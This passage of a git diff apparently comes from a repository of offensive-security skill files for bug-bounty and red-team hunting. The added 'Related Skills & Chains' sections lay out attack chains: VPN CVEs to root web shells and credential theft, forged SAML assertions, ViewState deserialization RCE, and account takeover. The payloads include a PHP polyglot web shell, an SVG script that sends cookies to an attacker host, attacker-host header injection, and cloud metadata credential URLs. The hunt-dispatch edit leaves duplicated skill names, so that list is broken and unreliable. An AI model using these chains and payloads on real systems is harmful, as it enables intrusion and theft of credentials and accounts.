alone is not a finding; demonstrate actual privileged action (e.g., read prod secret, create cross-account role) before reporting.diff --git a/skills/enterprise-vpn-attack/SKILL.md b/skills/enterprise-vpn-attack/SKILL.mdindex 6c3a04b..ccb8149 100644--- a/skills/enterprise-vpn-attack/SKILL.md+++ b/skills/enterprise-vpn-attack/SKILL.md@@ -344,3 +344,13 @@ Add `-as` (auto-scan) for broader vuln coverage but slower.- **Don't run heavy nuclei scans without rate-limiting** — these appliances are critical infrastructure- **Don't fingerprint by trying all CVE PoCs immediately** — start with non-disruptive HEAD + version-banner probes- **Don't skip SAML metadata** — even when the appliance is patched, SAML SP misconfig is its own attack surface++---++## Related Skills & Chains++- **`hunt-rce`** — Every major VPN appliance (Pulse Secure, Fortinet, Citrix, Ivanti, Palo Alto) has shipped pre-auth path-traversal-to-RCE in the last 24 months. Chain primitive: VPN appliance CVE (e.g., Ivanti ICS CVE-2024-21887, Citrix Bleed CVE-2023-4966, Fortinet CVE-2024-21762) → `hunt-rce` pre-auth path traversal → arbitrary file write into web-root → request the file → web-shell as `root` → VPN config + LDAP bind credentials extracted.+- **`hunt-saml`** — VPN SAML SP misconfig persists even on fully-patched appliances. Chain primitive: appliance patched against latest CVE but `/saml/metadata` reachable → IdP fingerprinted → `hunt-saml` XSW or comment-injection against IdP → forged assertion → VPN session established without password/MFA.+- **`vmware-vcenter-attack`** — Post-VPN-foothold the natural next pivot is vCenter. Chain primitive: VPN web-shell → cred extraction from VPN appliance config (LDAP bind, RADIUS shared secret) → reuse against internal vCenter → if scope permits, `vmware-vcenter-attack` → datacenter takeover.+- **`hunt-ntlm-info`** — Some VPN appliances expose anonymous NTLM on management paths. Chain primitive: VPN admin portal NTLM Type-2 capture → `hunt-ntlm-info` AV_PAIR decode → internal AD forest name → `m365-entra-attack` Entra spray on synced tenant.+- **`mid-engagement-ir-detection`** + **`redteam-report-template`** — VPN appliance CVE exploitation is high-noise; SOC patches fast. Chain primitive: confirmed CVE → baseline capture via `mid-engagement-ir-detection` → if appliance updates mid-test, capture the patched-state as a SECOND finding → run both findings through `triage-validation` → package via `redteam-report-template` with explicit critical-infrastructure framing.diff --git a/skills/evidence-hygiene/SKILL.md b/skills/evidence-hygiene/SKILL.mdindex 984b289..35ec04a 100644--- a/skills/evidence-hygiene/SKILL.md+++ b/skills/evidence-hygiene/SKILL.md@@ -363,3 +363,13 @@ This skill is meant to be loaded together with `report-writing` and (for Bugcrow- **Where** to find the assets (that's `offensive-osint`'s job — recon)This skill covers ONLY the redaction / sanitization / hygiene layer that sits between "I have evidence" and "I'm attaching it to the platform."++---++## Related Skills & Chains++- **`report-writing`** — When evidence is redacted and ready for the report body. Workflow primitive: after redaction passes the pre-screenshot checklist, hand off to `report-writing` for the platform-specific report template (H1 / Bugcrowd / Intigriti / Immunefi).+- **`bugcrowd-reporting`** — When the redacted evidence is destined for Bugcrowd specifically. Workflow primitive: redacted screenshots + sanitized HARs become attachments referenced in `bugcrowd-reporting`'s VRT-mapped submission body.+- **`triage-validation`** — When deciding which evidence is required at all. Workflow primitive: `triage-validation` says "you need a 5-screenshot PoC for password-change-without-step-up"; this skill says "here's how to capture and redact those 5 screenshots cleanly."+- **`security-arsenal`** — When the payload that produced the evidence is being documented. Workflow primitive: the payload (from `security-arsenal`) goes in the report verbatim; its output / response (handled by this skill) gets cookie / PII redacted before screenshotting.+- **`bb-methodology`** — When Phase 5 (Validate & Report) needs evidence captured. Workflow primitive: Phase 5's evidence-capture step routes through this skill before the report is drafted.diff --git a/skills/hunt-api-misconfig/SKILL.md b/skills/hunt-api-misconfig/SKILL.mdindex c411849..4c24479 100644--- a/skills/hunt-api-misconfig/SKILL.md+++ b/skills/hunt-api-misconfig/SKILL.md@@ -41,4 +41,14 @@ curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me# → CRITICAL: attacker reads credentialed responses```+---++## Related Skills & Chains++- **`hunt-ato`** — Mass assignment on signup/profile is the fastest path to admin. Chain primitive: API mass assignment + `hunt-ato` → `role=admin` set on signup → ATO via privileged role on first login.+- **`hunt-auth-bypass`** — JWT flaws collapse the entire auth layer. Chain primitive: JWT `alg=none` + `hunt-auth-bypass` → impersonate any user by setting `sub` to victim ID, no signature required.+- **`hunt-rce`** — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach `child_process.spawn`. Chain primitive: Prototype pollution (`__proto__.shell=true`) + `hunt-rce` (Node.js gadget chain) → RCE on the API node.+- **`hunt-subdomain`** — CORS regex with wildcard subdomain trusts a takeoverable host. Chain primitive: CORS allowlist `*.target.com` + subdomain takeover → attacker-controlled origin reads credentialed API responses.+- **`security-arsenal`** — Load the JWT Attack Payloads section (alg=none, kid path traversal, JWK injection, embedded JWK) and the Mass-Assignment Field Wordlist (`is_admin`, `role`, `verified`, `permissions`, `org_id`, `tenant_id`).+- **`triage-validation`** — Apply the Server-Policy-vs-State gate: a permissive CORS header alone is informational; demonstrate actual cross-origin credentialed read of sensitive data before reporting.diff --git a/skills/hunt-aspnet/SKILL.md b/skills/hunt-aspnet/SKILL.mdindex 250dd14..a71b16e 100644--- a/skills/hunt-aspnet/SKILL.md+++ b/skills/hunt-aspnet/SKILL.md@@ -265,3 +265,13 @@ Before writing the report, confirm:### Scenario C — trace.axd + elmah.axd both exposed on enterprise HR portal`trace.axd` 200 returns 50 most recent requests, including `Authorization: Bearer eyJ...` headers on API requests. `elmah.axd` 200 returns full error log with database connection-string in one of the exceptions. Reported severity: **Critical** (credentials in plaintext to anonymous internet).++---++## Related Skills & Chains++- **`hunt-rce`** — ViewState deserialization is the headline ASP.NET RCE path; signed-only ViewState + leaked machineKey = RCE every time. Chain primitive: ASP.NET ViewState dual-parser MAC-bypass anti-pattern detected (signed but not encrypted, `<%@ Page enableViewStateMac="true" viewStateEncryptionMode="Never" %>`) + machineKey recovered (from web.config disclosure, `elmah.axd`, source leak, or GitHub) → `hunt-rce` ysoserial.net `TypeConfuseDelegate` gadget → arbitrary command in `w3wp.exe` worker-process identity.+- **`hunt-sharepoint`** — SharePoint farms inherit every ASP.NET anti-pattern plus their own surface. Chain primitive: ASP.NET fingerprint reveals SharePoint (X-SharePoint headers + `/_layouts/` reachable) → pivot to `hunt-sharepoint` for SP-specific RCE paths (ToolShell, SafeControl reflection) before generic ViewState attack.+- **`hunt-ntlm-info`** — IIS sites that advertise NTLM/Negotiate anonymously leak AD topology. Chain primitive: ASP.NET app behind IIS with `WWW-Authenticate: NTLM` → `hunt-ntlm-info` Type-2 challenge capture → internal forest name → cross-reference Entra tenant via `m365-entra-attack` discovery.+- **`hunt-file-upload`** — Telerik RadAsyncUpload, Kentico, Umbraco, and DotNetNuke all have historical upload-handler RCE. Chain primitive: ASP.NET CMS fingerprinted → `hunt-file-upload` bypass matrix against the CMS upload handler → `.aspx` written into web-accessible path → request → RCE under app-pool identity.+- **`triage-validation`** — `trace.axd`/`elmah.axd` disclosure is only Critical when it actually leaks live credentials/tokens; pure stack traces are usually Low. Chain primitive: pull every reported finding through `triage-validation` 7-Question Gate before submission — distinguish "verbose error" (informational) from "live bearer token in error log" (Critical) before writing the report (`redteam-report-template`).diff --git a/skills/hunt-ato/SKILL.md b/skills/hunt-ato/SKILL.mdindex ec977bb..d4cf3de 100644--- a/skills/hunt-ato/SKILL.md+++ b/skills/hunt-ato/SKILL.md@@ -45,4 +45,14 @@ PUT /api/user/email- Medium: requires phishing + user interaction- Low: requires attacker to be MitM+---++## Related Skills & Chains++- **`hunt-idor`** — The most reliable ATO primitive that requires no email control and no race. Chain primitive: `PATCH /api/users/{victim_uid}` with attacker session + victim UID + `{"email":"[email protected]"}` → trigger password reset → reset email arrives at attacker → full ATO with zero victim interaction (Critical path).+- **`hunt-mfa-bypass`** — Password reset / email change without re-auth is only Critical if it bypasses MFA too. Chain primitive: password-change endpoint accepts new password without current-password challenge AND without MFA step-up → cookie theft (XSS or token leak) + password oracle (timing diff on login) → set new password from stolen cookie → MFA-less ATO from any IP/device.+- **`hunt-oauth`** — OAuth misconfigurations are the highest-yield no-interaction ATO path. Chain primitive: OAuth `redirect_uri` validation accepts subdomain match (`*.target.com`) + `hunt-subdomain` reveals a dangling CNAME on `staging.target.com` → claim that subdomain on Heroku/S3 → host an OAuth callback there → victim clicks crafted authorize URL → code lands on attacker subdomain → exchange for token → ATO.+- **`hunt-misc`** — Host-header injection on password reset is the canonical Path 1 primitive. Chain primitive: `POST /forgot-password` with `Host: attacker.com` (or `X-Forwarded-Host`) → reset email constructs link from request Host header → link points to `attacker.com/reset?token=XXXX` → victim clicks → token leaked to attacker → ATO.+- **`security-arsenal`** — Pull the Password-Reset Bypass Tables for host-header variants (`X-Forwarded-Host`, `X-Host`, `X-HTTP-Host-Override`, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), and the always-rejected list for "rate-limit on /forgot-password" reports.+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an ATO that requires the victim to click a link AND enter credentials AND complete CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough on test account B from attacker A's session) is what separates Critical-paid from Self-XSS-tier rejected.diff --git a/skills/hunt-auth-bypass/SKILL.md b/skills/hunt-auth-bypass/SKILL.mdindex dc1d981..0f272a1 100644--- a/skills/hunt-auth-bypass/SKILL.md+++ b/skills/hunt-auth-bypass/SKILL.md@@ -313,4 +313,14 @@ A large ride-sharing company enforced SSO (via OneLogin) on all WordPress-basedA major enterprise communication platform's SAML SP implementation failed to properly validate assertion signatures in specific edge cases. By manipulating the XML structure of a captured SAMLResponse (specifically through comment injection or namespace prefix attacks), an attacker could modify the `NameID` value to impersonate any user in an organization — including workspace administrators — without possessing that user's credentials or private key material. Impact: Complete account takeover of any user within a SAML-enabled organization; attacker gains access to all messages, files, and integrations in the workspace.**Scenario 3 — Cross-Portal Privilege Escalation via Shared Auth Backend**-An e-commerce platform's partner/reseller portal issued authentication tokens that were validated by the same backend service as the merchant admin portal. A partner-level account (lower trust, external-facing) could use its issued credentials or tokens to authenticate directly against admin-tier API endpoints, bypassing the merchant onboarding and permission assignment flow. Impact: A malicious partner could access any merchant's admin panel, modify store configurations, exfiltrate customer PII and payment data, or install malicious scripts — affecting thousands of merchant storefronts.\ No newline at end of file+An e-commerce platform's partner/reseller portal issued authentication tokens that were validated by the same backend service as the merchant admin portal. A partner-level account (lower trust, external-facing) could use its issued credentials or tokens to authenticate directly against admin-tier API endpoints, bypassing the merchant onboarding and permission assignment flow. Impact: A malicious partner could access any merchant's admin panel, modify store configurations, exfiltrate customer PII and payment data, or install malicious scripts — affecting thousands of merchant storefronts.++---++## Related Skills & Chains++- **`hunt-idor`** — Auth bypass without object-level access is half a finding; pair them. Chain primitive: legacy `/v1/users/{id}` route missing both auth middleware AND ownership check = unauthenticated cross-tenant data read via direct ID substitution → full PII dump from "I am nobody" starting position.+- **`hunt-ato`** — Auth-bypass primitives feed the ATO funnel. Chain primitive: XMLRPC native-cred acceptance + no rate limit on `wp.getUsersBlogs` → credential-stuff with breach corpus from `hunt-misc` recon → `system.multicall` batches 1000 cred pairs per request → one valid pair = ATO bypassing the SSO + MFA the UI enforces.+- **`hunt-sharepoint`** — The SP equivalent of the WordPress XMLRPC pattern lives here. Chain primitive: `/_vti_bin/Authentication.asmx` anonymous reachable + native Forms-auth credential accepted + zero rate limit = unlimited credential brute-force endpoint bypassing custom-branded `customlogin.aspx` protections → FedAuth cookie → full SharePoint farm access.+- **`security-arsenal`** — Pull the JWT-attack payloads section (alg=none, kid path-traversal, JWK injection, RS256→HS256 key confusion) when JWT validation is the auth wall; pull the SAML signature-stripping section when the SP accepts unsigned assertions.+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an "auth bypass" that only enumerates usernames or only reveals a 401-vs-403 differential. Username enumeration alone without lockout-amplification is consistently N/A or Informational on H1.\ No newline at end of filediff --git a/skills/hunt-business-logic/SKILL.md b/skills/hunt-business-logic/SKILL.mdindex 478cc14..cbc1485 100644--- a/skills/hunt-business-logic/SKILL.md+++ b/skills/hunt-business-logic/SKILL.md@@ -185,4 +185,15 @@ An employee summit page was deployed to a public Shopify storefront as a privateA payment flow passed order amount and currency through client-controlled parameters before redirecting to a third-party payment provider (Smart2Pay). By intercepting the redirect with Burp Suite and modifying the amount field, an attacker could complete a real payment for $0.01 while the application's webhook — lacking HMAC validation — accepted the provider's confirmation and credited the full item/service to the account. Impact: critical financial loss; attacker receives full value goods/services for near-zero cost, infinitely repeatable.**Scenario 3 — Email Verification Bypass for Unauthorized Monitoring (Mozilla-style)**-A breach-monitoring service required email verification before enabling monitoring alerts for an address. The verification check was enforced in the UI flow but the underlying API accepted monitoring setup requests for any address using a valid session — skipping the verification step entirely. An attacker could set up monitoring for email addresses they don't own, receiving breach notification data (potentially including credential exposure status) for victim accounts. Impact: privacy violation; attacker gains intelligence on whether a target's email was in a breach without the target's knowledge or consent.\ No newline at end of file+A breach-monitoring service required email verification before enabling monitoring alerts for an address. The verification check was enforced in the UI flow but the underlying API accepted monitoring setup requests for any address using a valid session — skipping the verification step entirely. An attacker could set up monitoring for email addresses they don't own, receiving breach notification data (potentially including credential exposure status) for victim accounts. Impact: privacy violation; attacker gains intelligence on whether a target's email was in a breach without the target's knowledge or consent.++---++## Related Skills & Chains++- **`hunt-race-condition`** — Every uniqueness/quota check in a logic flow is a race candidate. Chain primitive: Business logic (coupon/credit/promotion) + race condition → coupon redeemed N times in a single TCP packet via Turbo Intruder.+- **`hunt-idor`** — Logic flows that trust a client-supplied identifier (order_id, tenant_id, beneficiary_id) overlap directly with IDOR. Chain primitive: business-logic step-skip + IDOR on beneficiary_id → transfer funds from victim account.+- **`hunt-api-misconfig`** — Step-skip and verification-bypass often live next to mass-assignment fields. Chain primitive: business-logic email-verify skip + API mass assignment (`verified:true, role:admin`) → ATO without email control.+- **`hunt-ato`** — Logic bugs in password reset, email change, and recovery flows are core ATO paths. Chain primitive: business logic (email change accepts without re-auth) + `hunt-ato` Path 2 → silent victim email swap → password reset to attacker mailbox.+- **`security-arsenal`** — Load the Business-Logic Probe Checklist (negative quantity, decimal overflow, currency swap, step-skip via direct URL nav, state-machine reverse) and the Always-Rejected list to avoid filing self-inflicted bugs.+- **`triage-validation`** — Apply the 7-Question Gate (especially Q4 "Is this exploitable by an outside attacker without unrealistic preconditions?"): logic bugs need a concrete dollar/PII/state impact, not just "the flow looks weird".\ No newline at end of filediff --git a/skills/hunt-cache-poison/SKILL.md b/skills/hunt-cache-poison/SKILL.mdindex 78b36e7..cad15b6 100644--- a/skills/hunt-cache-poison/SKILL.md+++ b/skills/hunt-cache-poison/SKILL.md@@ -240,4 +240,14 @@ An attacker identified that CDN-served JavaScript assets on `cdn.shopify.com` coOn a platform serving authenticated account pages, an attacker crafted a URL like `/account/profile/photo.jpg` and sent it to a victim (via phishing link). When the victim (authenticated) visited the URL, the server responded with their full account profile page (name, email, session tokens). Because the URL ended in `.jpg`, the CDN cached the authenticated response publicly. The attacker then fetched `/account/profile/photo.jpg` without authentication and received the victim's account data — enabling full account takeover. Impact was amplified because the cache served the same response to any subsequent requester.**Scenario 3 — Affiliate Link Hijacking via URL Path Manipulation (Shopify Linkpop)**-An attacker discovered that the Linkpop affiliate link service would cache responses based on URL path but reflected a manipulated product destination URL in the cached HTML. By visiting a specially crafted path before legitimate users, the attacker poisoned the cache to redirect affiliate clicks to an attacker-controlled domain instead of the legitimate Amazon product. Victims clicking what appeared to be valid merchant links were sent to attacker infrastructure, enabling credential phishing and loss of affiliate commission revenue for the legitimate merchant.\ No newline at end of file+An attacker discovered that the Linkpop affiliate link service would cache responses based on URL path but reflected a manipulated product destination URL in the cached HTML. By visiting a specially crafted path before legitimate users, the attacker poisoned the cache to redirect affiliate clicks to an attacker-controlled domain instead of the legitimate Amazon product. Victims clicking what appeared to be valid merchant links were sent to attacker infrastructure, enabling credential phishing and loss of affiliate commission revenue for the legitimate merchant.++---++## Related Skills & Chains++- **`hunt-xss`** — Cache poisoning is the multiplier that turns reflected XSS (low-severity self-inflicted) into stored XSS across every CDN-edge visitor. Chain primitive: `X-Forwarded-Host: attacker.com` poisons cached script src → cached response now contains `<script src="//attacker.com/x.js">` → every visitor to that CDN edge executes attacker JS, persistent for the full Cache-Control max-age.+- **`hunt-http-smuggling`** — Smuggling bypasses front-end cache-key normalization and WAF stripping of poison headers, hitting the cache server directly. Chain primitive: CL.TE smuggle delivers `X-Forwarded-Host: attacker.com` to the cache backend past the WAF that stripped it at the edge → poisoned entry stored under the victim's normal URL → de-sync poisoning where the smuggled request becomes the cached response for the next victim.+- **`hunt-auth-bypass`** — Web Cache Deception turns authenticated pages into publicly-cached responses, leaking session-bound content to unauthenticated attackers. Chain primitive: `/account/profile.css` served as authenticated HTML, cached as static asset → attacker fetches same URL without auth and reads victim's email/tokens → session cookies in body → full ATO.+- **`security-arsenal`** — Reach for the unkeyed-header wordlist (`X-Forwarded-Host`, `X-Host`, `X-Forwarded-Server`, `X-HTTP-Host-Override`, `Forwarded`, `X-Original-URL`) and the WCD path-extension list (`.css`, `.js`, `.jpg`, `.ico`, `;.css`, `%2e%2ecss`) before hand-fuzzing.+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical: the poisoned response MUST be reproducible from a separate IP/incognito without your poison headers. If only your own browser sees the effect, it's a self-cache and N/A.\ No newline at end of filediff --git a/skills/hunt-cache-poisoning/SKILL.md b/skills/hunt-cache-poisoning/SKILL.mddeleted file mode 100644index ce55dab..0000000--- a/skills/hunt-cache-poisoning/SKILL.md+++ /dev/null@@ -1,39 +0,0 @@-----name: hunt-cache-poisoning-description: "Hunt web cache poisoning and cache deception. Cache poisoning: unkeyed inputs (X-Forwarded-Host, X-Original-URL, custom headers) influence response, response gets cached, victim served poisoned page. Probe: Burp Param Miner extension finds cache-key vs response-body discrepancies. Common payloads: X-Forwarded-Host: attacker.com (poisons script src URLs), X-Forwarded-Scheme: nothing (forces broken redirect), X-Host: attacker.com, query parameter cache-buster + payload. Cache deception: GET /account/profile.css (browser caches fake CSS that's actually rendered profile, attacker fetches it). Targets: CDN-fronted sites, anything with Cache-Control: public + Vary keying gaps. Validate: persistent poisoning (next visitor gets poisoned response without your input), exfil (CSS deception captures session), open redirect chained with cached response. Use when hunting CDN-fronted apps, when X-Forwarded-* headers reflect, when cache HIT/MISS visible in headers."------## 18. CACHE POISONING / WEB CACHE DECEPTION--### Cache Poisoning-```bash-# Unkeyed header injection-GET / HTTP/1.1-Host: target.com-X-Forwarded-Host: evil.com-# If "evil.com" reflected in response body AND gets cached → all users get poisoned page--# Param Miner (Burp extension) — finds unkeyed headers automatically-Right-click → Extensions → Param Miner → Guess headers-```--### Web Cache Deception-```bash-# Trick cache into storing victim's private response-# Victim visits: https://target.com/account/settings/nonexistent.css-# Cache sees .css → caches the private response-# Attacker requests same URL → gets victim's data--# Variants:-/account/settings%2F..%2Fstatic.css-/account/settings;.css-/account/settings/.css-```--### Detection-```bash-curl -s -I https://target.com/account | grep -i "cache-control\|x-cache\|age"-# If: no Cache-Control: private + x-cache: HIT → cacheable private data-```--diff --git a/skills/hunt-cloud-misconfig/SKILL.md b/skills/hunt-cloud-misconfig/SKILL.mdindex d99ce3a..cb8f633 100644--- a/skills/hunt-cloud-misconfig/SKILL.md+++ b/skills/hunt-cloud-misconfig/SKILL.md@@ -33,4 +33,14 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # ke/phpMyAdmin /.env /config.json /api-docs /server-status```+---++## Related Skills & Chains++- **`hunt-subdomain`** — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → `assets.target.com` takeover.+- **`cloud-iam-deep`** — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in `.env` → `cloud-iam-deep` enumeration → cross-service `iam:PassRole` escalation.+- **`hunt-ssrf`** — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.+- **`supply-chain-attack-recon`** — Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.+- **`security-arsenal`** — Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.+- **`triage-validation`** — Apply the Unique-Marker gate: any "writable bucket" claim requires a write of a unique marker file and a read-back from a clean session before report submission.diff --git a/skills/hunt-csrf/SKILL.md b/skills/hunt-csrf/SKILL.mdindex 53cb992..3af5957 100644--- a/skills/hunt-csrf/SKILL.md+++ b/skills/hunt-csrf/SKILL.md@@ -238,4 +238,14 @@ An attacker crafted a malicious page targeting the "Import Friends" OAuth integrDuring Oculus-Facebook account linking, the OAuth callback lacked proper CSRF state validation. An attacker could craft a URL that, when loaded by an authenticated Facebook user who had started the Oculus linking flow, would associate the attacker's Oculus device credentials with the victim's Facebook account. The attacker then had persistent access to the victim's Facebook profile through the Oculus app. The attack required only that the victim click a link while logged into Facebook.### Scenario 3: JSON API CSRF on Heartbeat/Activity Tracking-A POST endpoint accepting `application/json` was assumed CSRF-safe by developers. A researcher crafted an HTML form using `enctype="text/plain"` with an input name designed to produce syntactically valid JSON when submitted. The browser sent the request cross-origin without a preflight (no custom headers, `text/plain` is a simple request), cookies were attached, and the server processed the JSON body as legitimate — silently logging attacker-controlled activity data under the victim's account identity.\ No newline at end of file+A POST endpoint accepting `application/json` was assumed CSRF-safe by developers. A researcher crafted an HTML form using `enctype="text/plain"` with an input name designed to produce syntactically valid JSON when submitted. The browser sent the request cross-origin without a preflight (no custom headers, `text/plain` is a simple request), cookies were attached, and the server processed the JSON body as legitimate — silently logging attacker-controlled activity data under the victim's account identity.++---++## Related Skills & Chains++- **`hunt-xss`** — Any XSS on a trusted origin neutralizes CSRF defenses (token, SameSite, Origin check) instantly. Chain primitive: XSS reads the `meta[name=csrf-token]` value and same-origin-fetches `/accounts/email` with attacker payload → one-click ATO via attacker-page postMessage triggering the stored XSS to perform the state change.+- **`hunt-auth-bypass`** — CSRF combined with an auth-bypass primitive lets attacker-side scripts perform state changes that should have required step-up auth. Chain primitive: CSRF on `/settings/password` reaches an endpoint that skips the re-auth check → password change executes without the victim ever entering their current password → ATO.+- **`hunt-oauth`** — OAuth/SAML `state`/`RelayState` is structurally a CSRF token; missing validation here is account-linking CSRF. Chain primitive: attacker initiates OAuth on their account, sends victim the `/callback?code=X&state=` URL → victim's logged-in browser completes the link → attacker's social identity now controls victim's account.+- **`security-arsenal`** — Reach for the CSRF PoC templates (form POST, `enctype=text/plain` JSON, sandboxed-iframe null-origin, base64 multipart bypass) before writing one from scratch; also the WAF-bypass header variants for Origin/Referer checks.+- **`triage-validation`** — Run the Pre-Severity Gate before submitting CSRF on a logout endpoint or any action without state-change consequence — those are the canonical N/A traps. Confirm victim LOSES something concrete (account access, money, data), not just "a request executed."\ No newline at end of filediff --git a/skills/hunt-dispatch/SKILL.md b/skills/hunt-dispatch/SKILL.mdindex 096ff48..2076bd0 100644--- a/skills/hunt-dispatch/SKILL.md+++ b/skills/hunt-dispatch/SKILL.md@@ -99,10 +99,10 @@ full hunt-* set (all OWASP-relevant):hunt-xss hunt-sqli hunt-ssrf hunt-idorhunt-csrf hunt-xxe hunt-rce hunt-graphqlhunt-oauth hunt-saml hunt-mfa-bypass hunt-auth-bypass-hunt-ato hunt-file-upload hunt-business-logic hunt-race+hunt-ato hunt-file-upload hunt-business-logic hunt-race-conditionhunt-race-condition hunt-llm-ai hunt-api-misconfig hunt-ssti-hunt-cache-poisoning hunt-cache-poison hunt-http-smuggling hunt-subdomain-hunt-subdomain-takeover hunt-cloud-misconfig hunt-misc hunt-aspnet+hunt-cache-poison hunt-cache-poison hunt-http-smuggling hunt-subdomain+hunt-subdomain hunt-cloud-misconfig hunt-misc hunt-aspnethunt-sharepoint hunt-ntlm-info```@@ -135,9 +135,9 @@ loaded for wapt ({blackbox|greybox}): {N} skillsauthz: hunt-idor, hunt-auth-bypass, hunt-atoauth: hunt-oauth, hunt-saml, hunt-mfa-bypassapi: hunt-graphql, hunt-api-misconfig- logic: hunt-business-logic, hunt-race, hunt-race-condition- infra: hunt-http-smuggling, hunt-cache-poison, hunt-cache-poisoning- recon: hunt-subdomain, hunt-subdomain-takeover+ logic: hunt-business-logic, hunt-race-condition, hunt-race-condition+ infra: hunt-http-smuggling, hunt-cache-poison, hunt-cache-poison+ recon: hunt-subdomain, hunt-subdomaincloud: hunt-cloud-misconfigai: hunt-llm-aistack: hunt-aspnet, hunt-sharepoint, hunt-ntlm-info@@ -155,3 +155,13 @@ never echo back, log, or persist:- SOW / scope-of-work / engagement-letter content- grey box credentials (kept in session memory by `/hunt`, never written to disk)- client identifiers in user-level memory++---++## Related Skills & Chains++- **`bb-methodology`** — When PART 0 mode confirmation completes. Workflow primitive: `bb-methodology` confirms engagement type (red team vs WAPT vs bug bounty); the answer feeds directly into this skill's `mode=redteam` / `mode=wapt` invocation.+- **`redteam-mindset`** + **`mid-engagement-ir-detection`** — When `mode=redteam` is loaded. Workflow primitive: these are the always-on skills loaded first by step 2 of the redteam flow before any platform skill or hunt-* skill.+- **`okta-attack`** / **`m365-entra-attack`** / **`enterprise-vpn-attack`** / **`vmware-vcenter-attack`** / **`cloud-iam-deep`** / **`supply-chain-attack-recon`** / **`apk-redteam-pipeline`** — When fingerprint signals match. Workflow primitive: step 1's curl fingerprint scan against `recon/<target>/live-hosts.txt` maps banner / domain signals to one or more of these platform skills.+- **`hunt-rce`** / **`hunt-sqli`** / **`hunt-ssrf`** / **`hunt-ato`** / **all other hunt-* skills`** — When the mode-specific skill set is being printed. Workflow primitive: this skill is the loader; it names the hunt-* skills but does not run probes — actual hunting happens after step 4 returns control to `/hunt`.+- **`report-writing`** vs **`redteam-report-template`** — When the taxonomy print specifies the report format. Workflow primitive: `mode=wapt` ends with `report-writing` as the deliverable format; `mode=redteam` ends with `redteam-report-template` instead.diff --git a/skills/hunt-file-upload/SKILL.md b/skills/hunt-file-upload/SKILL.mdindex 2f6d6e4..1d4c444 100644--- a/skills/hunt-file-upload/SKILL.md+++ b/skills/hunt-file-upload/SKILL.md@@ -44,4 +44,13 @@ filename=shell.phtml, shell.pHp, shell.php5 → extension variants</svg>```+---++## Related Skills & Chains+- **`hunt-rce`** — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot `GIF89a;<?php system($_GET['c']);?>` bypasses magic-byte check + `.phtml` extension bypasses allowlist → `GET /uploads/shell.phtml?c=id` → RCE; or PHP `phar://` upload to a sink calling `file_exists()` on the attacker-controlled path → PHP object deserialization → RCE.+- **`hunt-xxe`** — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose `[Content_Types].xml` or `word/document.xml` includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil `/etc/passwd` or `web.config` via the document parser.+- **`hunt-xss`** — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with `<script>fetch('//attacker/?'+document.cookie)</script>` → victim views attachment at `app.target.com/uploads/x.svg` (same origin, not sandboxed) → cookie theft → ATO via session hijack.+- **`hunt-ssrf`** — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with `<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">` or ffmpeg `concat:http://internal/...` → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.+- **`security-arsenal`** — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, `.phtml`/`.phar`/`.php5`/`.pht`, `.htaccess` upload to re-enable handlers, `web.config` upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.+- **`triage-validation`** — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual `whoami` round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.\ No newline at end of filediff --git a/skills/hunt-graphql/SKILL.md b/skills/hunt-graphql/SKILL.mdindex f3d9a36..7b98ea0 100644--- a/skills/hunt-graphql/SKILL.md+++ b/skills/hunt-graphql/SKILL.md@@ -257,4 +257,15 @@ An attacker who legitimately had admin access to a repository via team membershiAn attacker with admin access initiates a repository transfer to another organization via the REST API. During or after the transfer, they invoke `updateTeamsRepository` on the now-transferred repo's ID. Because the GraphQL mutation doesn't validate current org ownership state consistently with the REST transfer event, the original attacker's team retains admin access on a repo now owned by a different organization. The receiving org has no visibility into this team association. The attacker can exfiltrate intellectual property from an org they have no legitimate relationship with.**Scenario C — Introspection as Reconnaissance Prerequisite (Shopify-pattern)**-On a platform where introspection is intentionally enabled (per-program rules), a hunter maps the full schema and discovers undocumented mutations for `fulfillmentOrderMove` and `inventoryAdjust` that are not surfaced in public docs. These mutations accept merchant IDs as arguments with no scoping validation visible in the schema. This recon directly enables targeted IDOR testing against merchant-to-merchant data isolation — the introspection itself is zero-severity, but it is the entry point to critical findings.\ No newline at end of file+On a platform where introspection is intentionally enabled (per-program rules), a hunter maps the full schema and discovers undocumented mutations for `fulfillmentOrderMove` and `inventoryAdjust` that are not surfaced in public docs. These mutations accept merchant IDs as arguments with no scoping validation visible in the schema. This recon directly enables targeted IDOR testing against merchant-to-merchant data isolation — the 